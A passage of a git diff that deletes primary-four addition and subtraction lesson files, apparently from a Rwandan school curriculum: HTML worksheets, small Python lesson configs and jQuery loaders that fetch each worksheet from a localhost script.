-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1345
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2008
-   </td>
-   <td width="14%" valign="top">
-    1209
-   </td>
-   <td width="14%" valign="top">
-    3010
-   </td>
-   <td width="14%" valign="top">
-    239
-   </td>
-   <td width="14%" valign="top">
-    258
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    43389
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    44734
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    409
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    831
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1217
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2406
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3185
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    4689
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    14130
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    14535
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- 4) 21 000 persons attended a curriculum workshop on January and 54 000 persons
- <br />
- on February .How many people attended the curriculum workshop in those two months ?
- <br />
- <br />
- 5) Complete the sum row of the following table if pupils listed obtained the results bellow :
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Elysee
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Felix
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Gratiana
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    Math
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    47
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    63
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    74
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    English
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    49
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    72
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    56
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    ICT
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    60
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    48
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    74
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    Chemistry
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    51
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    28
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    84
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    Sum
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 6) Sam has 10 children . Their ages are in arithmetic progression.
- <br />
- If the youngest child has 12 years , find ages of others if the ratio of progression is 3 years.
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  &nbsp;
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a04/description.py b/Save_Mathematics/P4/map411m05/map411m05a04/description.py
deleted file mode 100644
index 3f1c926..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m05a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m05/map411m05a04/lesson.js b/Save_Mathematics/P4/map411m05/map411m05a04/lesson.js
deleted file mode 100644
index 8696dc7..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m05/map411m05a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m05/map411m05a04/source.txt b/Save_Mathematics/P4/map411m05/map411m05a04/source.txt
deleted file mode 100644
index 07a68c7..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a04/source.txt
+++ /dev/null
@@ -1,359 +0,0 @@
-<p>
- 1.
- <span style="text-decoration: underline;">
-  Find the sum of each pair below
-  <br />
-  <br />
- </span>
- a. 25921+23819
- <span style="text-decoration: underline;">
-  <br />
- </span>
- b.1529 + 19258
- <br />
- c.2812 + 32523
- <br />
- d.8531 + 3830
- <br />
- e.9677 + 49671
- <br />
- f.8912 + 25
- <br />
- g.38318 + 7
- <br />
- <br />
- 2.
- <span style="text-decoration: underline;">
-  Arrange in columns and add up the following numbers
- </span>
- .
- <br />
- <br />
- a. 7984 +24212 + 32
- <br />
- b. 8212+ 1230 + 18
- <br />
- c.77202 + 19
- <br />
- g.82298 + 2328
- <br />
- <br />
- 3) Add up the numbers in the tables to fill the table:
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1345
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2008
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1209
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3010
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    239
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    258
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    21184
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    22529
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    23192
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    22393
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    24194
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    21423
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    21441
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1345
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2008
-   </td>
-   <td width="14%" valign="top">
-    1209
-   </td>
-   <td width="14%" valign="top">
-    3010
-   </td>
-   <td width="14%" valign="top">
-    239
-   </td>
-   <td width="14%" valign="top">
-    258
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    43389
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    44734
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    409
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    831
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1217
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2406
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3185
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    4689
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    14130
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    14535
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <br />
- 4) 21 000 persons attended a curriculum workshop on January and 54 000 persons
- <br />
- on February .How many people attended the curriculum workshop in those two months ?
- <br />
- <br />
- 5) Complete the sum row of the following table if pupils listed obtained the results bellow :
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Elysee
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Felix
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Gratiana
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    Math
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    47
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    63
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    74
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    English
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    49
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    72
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    56
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    ICT
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    60
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    48
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    74
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    Chemistry
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    51
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    28
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    84
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    Sum
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 6) Sam has 10 children . Their ages are in arithmetic progression.
- <br />
- If the youngest child has 12 years , find ages of others if the ratio of progression is 3 years.
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  &nbsp;
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a05/a.txt b/Save_Mathematics/P4/map411m05/map411m05a05/a.txt
deleted file mode 100644
index 05e97b7..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a05/a.txt
+++ /dev/null
@@ -1,168 +0,0 @@
-<p>
- 1) Complete the total row of this table if in a farm ,there are :
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Hens
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    13392
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Chicks
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    815
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Cocks
-   </td>
-   <td width="50%" valign="top">
-    120
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Rabbits
-   </td>
-   <td width="50%" valign="top">
-    58
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    pigs
-   </td>
-   <td width="50%" valign="top">
-    320
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Cows
-   </td>
-   <td width="50%" valign="top">
-    55
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    Total
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- 2) KICUKIRO , GASABO and NYARUGENGE Districts have respectively:
-</p>
-<p>
- 310 , 240;400,900;254,228.
-</p>
-<p>
- Find the total of population in KIGALI CITY ?
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- 3) A woman withdrew 24 000 f at ECO-BANK and 20 000f at the second time.How muc money did withdraw?
-</p>
-<p>
- 4) Complete the following progression
-</p>
-<ul>
- <li>
-  345 ; 356 ; 367 ;--------;---------;--------------.
- </li>
- <li>
-  849 ; 949 ;1049 ;--------;---------;-------------.
- </li>
- <li>
-  289 ; 299 ; 3009 ;--------;--------;------------.
- </li>
- <li>
-  735 ; 739 ; 743 ;----------;--------;------------.
- </li>
-</ul>
-<p>
- 5) Add following numbers :
- <br />
- <br />
-</p>
-<ol>
- <li>
-  435 + 61847=?
- </li>
- <li>
-  5736 + 8270=?
- </li>
- <li>
-  1625 + 3546=?
- </li>
- <li>
-  2738 + 74=?
- </li>
- <li>
-  39876 + 7655 + 890 + 10 + 2
- </li>
- <li>
-  6743 + 2367 + 85 =
- </li>
- <li>
-  8475 + 5364 + 101 =
- </li>
- <li>
-  4567 + 827 + 55000 + 0 =
- </li>
- <li>
-  34 + 586 + 3665 + 30 240 =
- </li>
- <li>
-  6894 + 83 + 1 + 60000 =
- </li>
-</ol>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a05/description.py b/Save_Mathematics/P4/map411m05/map411m05a05/description.py
deleted file mode 100644
index 2f08c61..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m05a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m05/map411m05a05/lesson.js b/Save_Mathematics/P4/map411m05/map411m05a05/lesson.js
deleted file mode 100644
index 3fb800c..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m05/map411m05a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m05/map411m05a05/source.txt b/Save_Mathematics/P4/map411m05/map411m05a05/source.txt
deleted file mode 100644
index 05e97b7..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a05/source.txt
+++ /dev/null
@@ -1,168 +0,0 @@
-<p>
- 1) Complete the total row of this table if in a farm ,there are :
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Hens
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    13392
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Chicks
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    815
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Cocks
-   </td>
-   <td width="50%" valign="top">
-    120
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Rabbits
-   </td>
-   <td width="50%" valign="top">
-    58
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    pigs
-   </td>
-   <td width="50%" valign="top">
-    320
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    Cows
-   </td>
-   <td width="50%" valign="top">
-    55
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    Total
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- 2) KICUKIRO , GASABO and NYARUGENGE Districts have respectively:
-</p>
-<p>
- 310 , 240;400,900;254,228.
-</p>
-<p>
- Find the total of population in KIGALI CITY ?
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- 3) A woman withdrew 24 000 f at ECO-BANK and 20 000f at the second time.How muc money did withdraw?
-</p>
-<p>
- 4) Complete the following progression
-</p>
-<ul>
- <li>
-  345 ; 356 ; 367 ;--------;---------;--------------.
- </li>
- <li>
-  849 ; 949 ;1049 ;--------;---------;-------------.
- </li>
- <li>
-  289 ; 299 ; 3009 ;--------;--------;------------.
- </li>
- <li>
-  735 ; 739 ; 743 ;----------;--------;------------.
- </li>
-</ul>
-<p>
- 5) Add following numbers :
- <br />
- <br />
-</p>
-<ol>
- <li>
-  435 + 61847=?
- </li>
- <li>
-  5736 + 8270=?
- </li>
- <li>
-  1625 + 3546=?
- </li>
- <li>
-  2738 + 74=?
- </li>
- <li>
-  39876 + 7655 + 890 + 10 + 2
- </li>
- <li>
-  6743 + 2367 + 85 =
- </li>
- <li>
-  8475 + 5364 + 101 =
- </li>
- <li>
-  4567 + 827 + 55000 + 0 =
- </li>
- <li>
-  34 + 586 + 3665 + 30 240 =
- </li>
- <li>
-  6894 + 83 + 1 + 60000 =
- </li>
-</ol>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a06/a.txt b/Save_Mathematics/P4/map411m05/map411m05a06/a.txt
deleted file mode 100644
index 80b370c..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a06/a.txt
+++ /dev/null
@@ -1,122 +0,0 @@
-<p>
- 1) Add following numbers:
-</p>
-<ul>
- <li>
-  5243+ 4857
- </li>
- <li>
-  9857+7394
- </li>
- <li>
-  1209 + 234
- </li>
- <li>
-  1008+20
- </li>
- <li>
-  2430+ 198
- </li>
- <li>
-  769+321
- </li>
- <li>
-  4857 + 300
- </li>
- <li>
-  8652 + 198
- </li>
- <li>
-  1578 + 1
- </li>
- <li>
-  3556 + 7654
- </li>
-</ul>
-<p>
- 2) Find the sum of the following:
-</p>
-<ol>
- <li>
-  230 and 678
- </li>
- <li>
-  123 and 456
- </li>
- <li>
-  876 and 546
- </li>
- <li>
-  453 and 654
- </li>
- <li>
-  632 and 234
- </li>
- <li>
-  365 and 310
- </li>
- <li>
-  20 and 287
- </li>
- <li>
-  687 and 987
- </li>
- <li>
-  590 and 908
- </li>
- <li>
-  789 and 120
- </li>
-</ol>
-<p>
- 3) A school has1220 boys and 389 girls. How many pupils are there altogether?
- <br />
- <br />
- 4) In a village there are 1408 men and 1102 women. what is the total number of adults in the village?
- <br />
- <br />
- 5) A book has 923 pages. Another book has 546 pages. how many pages do the two books have?
- <br />
- <br />
- 6) Drug and drop numbers that much the sum of the following numbers:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  7373 + 28=
- </li>
- <li>
-  8475 + 546=
- </li>
- <li>
-  7855 + 8857=
- </li>
- <li>
-  1199 + 9938=
- </li>
- <li>
-  33889 + 503=
- </li>
- <li>
-  54037 + 736=
- </li>
- <li>
-  42536 + 7+ 12 =
- </li>
- <li>
-  10847 + 135+ 33 =
- </li>
- <li>
-  52436 + 21653+ 1000 =
- </li>
- <li>
-  92 + 90000+ 205 =
- </li>
-</ol>
-<p>
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a06/description.py b/Save_Mathematics/P4/map411m05/map411m05a06/description.py
deleted file mode 100644
index 4dc98f6..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m05a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m05/map411m05a06/lesson.js b/Save_Mathematics/P4/map411m05/map411m05a06/lesson.js
deleted file mode 100644
index 98baf88..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m05/map411m05a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m05/map411m05a06/source.txt b/Save_Mathematics/P4/map411m05/map411m05a06/source.txt
deleted file mode 100644
index 80b370c..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a06/source.txt
+++ /dev/null
@@ -1,122 +0,0 @@
-<p>
- 1) Add following numbers:
-</p>
-<ul>
- <li>
-  5243+ 4857
- </li>
- <li>
-  9857+7394
- </li>
- <li>
-  1209 + 234
- </li>
- <li>
-  1008+20
- </li>
- <li>
-  2430+ 198
- </li>
- <li>
-  769+321
- </li>
- <li>
-  4857 + 300
- </li>
- <li>
-  8652 + 198
- </li>
- <li>
-  1578 + 1
- </li>
- <li>
-  3556 + 7654
- </li>
-</ul>
-<p>
- 2) Find the sum of the following:
-</p>
-<ol>
- <li>
-  230 and 678
- </li>
- <li>
-  123 and 456
- </li>
- <li>
-  876 and 546
- </li>
- <li>
-  453 and 654
- </li>
- <li>
-  632 and 234
- </li>
- <li>
-  365 and 310
- </li>
- <li>
-  20 and 287
- </li>
- <li>
-  687 and 987
- </li>
- <li>
-  590 and 908
- </li>
- <li>
-  789 and 120
- </li>
-</ol>
-<p>
- 3) A school has1220 boys and 389 girls. How many pupils are there altogether?
- <br />
- <br />
- 4) In a village there are 1408 men and 1102 women. what is the total number of adults in the village?
- <br />
- <br />
- 5) A book has 923 pages. Another book has 546 pages. how many pages do the two books have?
- <br />
- <br />
- 6) Drug and drop numbers that much the sum of the following numbers:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  7373 + 28=
- </li>
- <li>
-  8475 + 546=
- </li>
- <li>
-  7855 + 8857=
- </li>
- <li>
-  1199 + 9938=
- </li>
- <li>
-  33889 + 503=
- </li>
- <li>
-  54037 + 736=
- </li>
- <li>
-  42536 + 7+ 12 =
- </li>
- <li>
-  10847 + 135+ 33 =
- </li>
- <li>
-  52436 + 21653+ 1000 =
- </li>
- <li>
-  92 + 90000+ 205 =
- </li>
-</ol>
-<p>
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/activities.js b/Save_Mathematics/P4/map411m06/activities.js
deleted file mode 100755
index 8080061..0000000
--- a/Save_Mathematics/P4/map411m06/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m06a01','blue'],
-['2','2','map4','basic','map411m06a02','blue'],
-['3','3','map4','basic','map411m06a03','blue'],
-['4','4','map4','basic','map411m06a04','blue'],
-['5','5','map4','basic','map411m06a05','blue'],
-['6','6','map4','basic','map411m06a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m06/map411m06a01/a.txt b/Save_Mathematics/P4/map411m06/map411m06a01/a.txt
deleted file mode 100644
index fd09ad6..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a01/a.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- You learned much about addition , now you show that you are able to work out following operations :
-</p>
-<ul>
- <li>
-  1) Find the sum of the following numbers:
-  <br />
-  <br />
- </li>
- <li>
-  63 + 837
- </li>
- <li>
-  534 +243
- </li>
- <li>
-  960 + 9203
- </li>
- <li>
-  12345 + 45678
- </li>
- <li>
-  2435 +6453
- </li>
- <li>
-  8987 + 5478
- </li>
- <li>
-  6354 +7391
- </li>
- <li>
-  8746 + 435
- </li>
- <li>
-  253 + 5342
- </li>
-</ul>
-<p>
- One day , Munezero went to the spring to fetch water and carried a jerrycan.
- <br />
- Suddenly a tree broke , he became frightened and left down that jerrycan which water was poured on the soil.
- <br />
- Can you tell which operation in that case ?
- <br />
- The operation is Substraction.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a01/description.py b/Save_Mathematics/P4/map411m06/map411m06a01/description.py
deleted file mode 100644
index d70ede3..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m06a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m06/map411m06a01/lesson.js b/Save_Mathematics/P4/map411m06/map411m06a01/lesson.js
deleted file mode 100644
index 5c11314..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m06/map411m06a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m06/map411m06a01/source.txt b/Save_Mathematics/P4/map411m06/map411m06a01/source.txt
deleted file mode 100644
index fd09ad6..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a01/source.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- You learned much about addition , now you show that you are able to work out following operations :
-</p>
-<ul>
- <li>
-  1) Find the sum of the following numbers:
-  <br />
-  <br />
- </li>
- <li>
-  63 + 837
- </li>
- <li>
-  534 +243
- </li>
- <li>
-  960 + 9203
- </li>
- <li>
-  12345 + 45678
- </li>
- <li>
-  2435 +6453
- </li>
- <li>
-  8987 + 5478
- </li>
- <li>
-  6354 +7391
- </li>
- <li>
-  8746 + 435
- </li>
- <li>
-  253 + 5342
- </li>
-</ul>
-<p>
- One day , Munezero went to the spring to fetch water and carried a jerrycan.
- <br />
- Suddenly a tree broke , he became frightened and left down that jerrycan which water was poured on the soil.
- <br />
- Can you tell which operation in that case ?
- <br />
- The operation is Substraction.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m06/map411m06a02/a.txt b/Save_Mathematics/P4/map411m06/map411m06a02/a.txt
deleted file mode 100644
index 4ea51f9..0000000
--- a/Save_Mathematics/P4/map411m06/map411m06a02/a.txt
+++ /dev/null
@@ -1,400 +0,0 @@
-<p>
- ....Monica had 789 mangoes. She gave away 169 mangoes to her friend . How many mangoes remained ?
-</p>
-<ul>
- <li>
-  instruction. Drawing mangoes .
- </li>
-</ul>
-<ul>
- <li>
-  Silas had 150 000 Rwf . he paid 50 000 Rwf for school fees of his daughterAnn. How much money left in his pocket ?
- </li>
-</ul>
-<p>
- Solution:Silas had =150 000 Rwf.
- <br />
- He used:50 000 Rwf.
- <br />
- Left = 150 000 Rwf
- <br />
- <span style="text-decoration: underline;">
-  - 50000Rwf
- </span>
- <br />
- <span style="text-decoration: underline;">
-  <span style="color: #ffffff;">
-   &nbsp;
-  </span>
- </span>
- 100000 Rwf
- <br />
- <span style="color: #ffffff;">
-  .......
- </span>
- <br />
- or
-</p>
-<table style="width: 450px; height: 188px;" border="1" align="right">
- <tbody>
-  <tr>
-   <td colspan="3" width="17%" valign="top">
-    <br />
-    THOUSANDS
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="17%" valign="top">
-    <br />
-    UNITS
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    Hundredss
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Hundreds
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    Ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="17%" valign="top">
-    0
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="17%" valign="top">
